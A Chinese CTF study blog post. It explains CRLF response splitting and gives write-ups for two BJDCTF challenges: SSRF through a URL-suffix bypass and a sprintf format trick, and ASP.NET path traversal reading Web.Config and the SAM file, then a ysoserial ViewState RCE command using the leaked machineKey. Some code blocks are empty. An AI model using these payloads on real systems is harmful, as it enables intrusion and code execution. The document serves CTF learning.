学偏了!
看了看题目!感觉代码审计太难了!
学到了个新东西!
CRLF 返回头拆分
https://www.imaegoo.com/2019/web-security/#CRLF-%E8%BF%94%E5%9B%9E%E5%A4%B4%E6%8B%86%E5%88%86
CRLF 返回头拆分
参数注入返回头
CRLF是”回车换行”(\r\n
)的简称。在HTTP协议中,HTTP Header与HTTP Body是用两个CRLF分隔的,浏览器就是根据这两个CRLF区分HTTP头和HTTP体。
所以,一旦我们能够控制HTTP头中的字符,注入一些恶意的换行,这样我们就能注入一些会话Cookie或者HTML代码,所以CRLF Injection又叫HTTP Response Splitting,简称HRS。
在以下情况下发生HTTP响应拆分:
- 数据通过不受信任的来源进入Web应用程序,最常见的是HTTP请求。
- 数据包含在发送给Web用户的HTTP响应标头中,而不会对恶意字符进行验证。
对于HRS最简单的利用方式是注入两个\r\n,之后写入XSS代码,来构造一个XSS。
比如一个网站接受URL参数/redirect?url=
,URL放在Response Location后面跳转。
Request |
如果我们输入的是
Request |
糟了,由于Location为空,Chrome并没有跳转,而是把两个CRLF后的<ing>
渲染了出来,造成了XSS注入。
此攻击方式由于会注入返回头,危害大于XSS,其能够轻松修改返回头,导致浏览器XSS Auditor,Frame Deny等防护失效,还能恶意注入cookie的JSESSIONID
实现会话固定漏洞。
预防
- 过滤\r,\n,并且避免输入的数据污染到其他HTTP头。
[BJDCTF 2nd]文件探测
发现home.php
然后文件包含!
读取system
only 127.0.0.1 can access! You know what I mean right?
your ip address is 172.16.11.000
http://127.0.0.1/admin.php?a=1 |
payload
去掉url拼接的.y1ng.txt
我们只需要将后面接一个不存在的get参数就可以绕过了。例如:http://127.0.0.1/xxxxxxxx.php?mayi=666y1ng.txt
他最后显示的页面还是http://127.0.0.1/xxxxxxxx.php
这样就可以成功绕过了。
还可以利用锚点http://127.0.0.1/xxxxxxxx.php#666y1ng.txt
sprintf输出格式问题
sprintf("$url method&content_size:$method%d", $detect)
我们可以知道 %d 前面还有一个可以控制的变量,也就是我们传入的q3
。经过了解,我们知道在sprintf这里面 %
才是转义字符,我们可以传入POST%s%
最后把%d
给取消转义。达到绕过效果
~$ python fuck.py -u "http://127.0.0.1/admin.php?a=a.y1ng.txt" -M get%s% -U y1ng -P admin123123 --neglect-negative --debug --hint=xiangdemei |
得到admin.php
后审计一下!
poc
|
最后把PHPSESSID
的值去掉! 得到答案!
考点:文件包含+php代码审计+ssrf
[Windows][BJDCTF 2nd]EasyAspDotNet
知识点:
任意文件读取
ASP.NET VIEWSTATE 反序列化有回显 RCE
Windows 基本操作
https://devco.re/blog/2020/03/11/play-with-dotnet-viewstate-exploit-and-create-fileless-webshell/
、https://www.zhaoj.in/read-6497.html
<img id="image1" src="/ImgLoad.aspx?path=4.gif" /><br>
首先是任意文件读取!
ImgLoad.aspx?path=4.png
让他报错!
读取Web.Config
文件
ImgLoad.aspx?path=../../Web.Config
/ImgLoad.aspx?path=../../../../../../../../../../../../../../C:/Windows/System32/config/sam
发现没用!算了!
view-source:http://07ceea5e-bb22-4f42-b8a1-510664250168.node3.buuoj.cn/ImgLoad.aspx?path=../../Web.Config
想用wget发现不能下载!
|
查看 web.config 的内容,其中 machineKey 中的值均为固定值,根据上面那篇文章所述,这些值用来加密反序列化之后的 VIEWSTATE 等值。
只要知道了密钥!自己写个paylaod再加密执行即可!
漏洞原理:
最近微软产品Exchange Server 爆出一个严重漏洞CVE-2020-0688,问题发生的原因是每台Exchange Server 安装完后在某个Component 中都使用了同一把固定的Machine Key,而相信大家都已经很熟悉取得Machine Key 之后的利用套路了,可以窜改ASP.NET Form 中的VIEWSTATE 参数值以进行反序列化攻击,从而达成Remote Code Execution 控制整台主机伺服器。 |
最后post提交!
生成exp然后运行!
.\ysoserial.exe -p ViewState -g ActivitySurrogateSelectorFromFile -c "ExploitClass.cs;./System.dll;./System.Web.dll" --generator="CA0B0334" --validationalg="SHA1" --validationkey="47A7D23AF52BEF07FB9EE7BD395CD9E19937682ECB288913CE758DE5035CF40DC4DB2B08479BF630CFEAF0BDFEE7242FC54D89745F7AF77790A4B5855A08EAC9"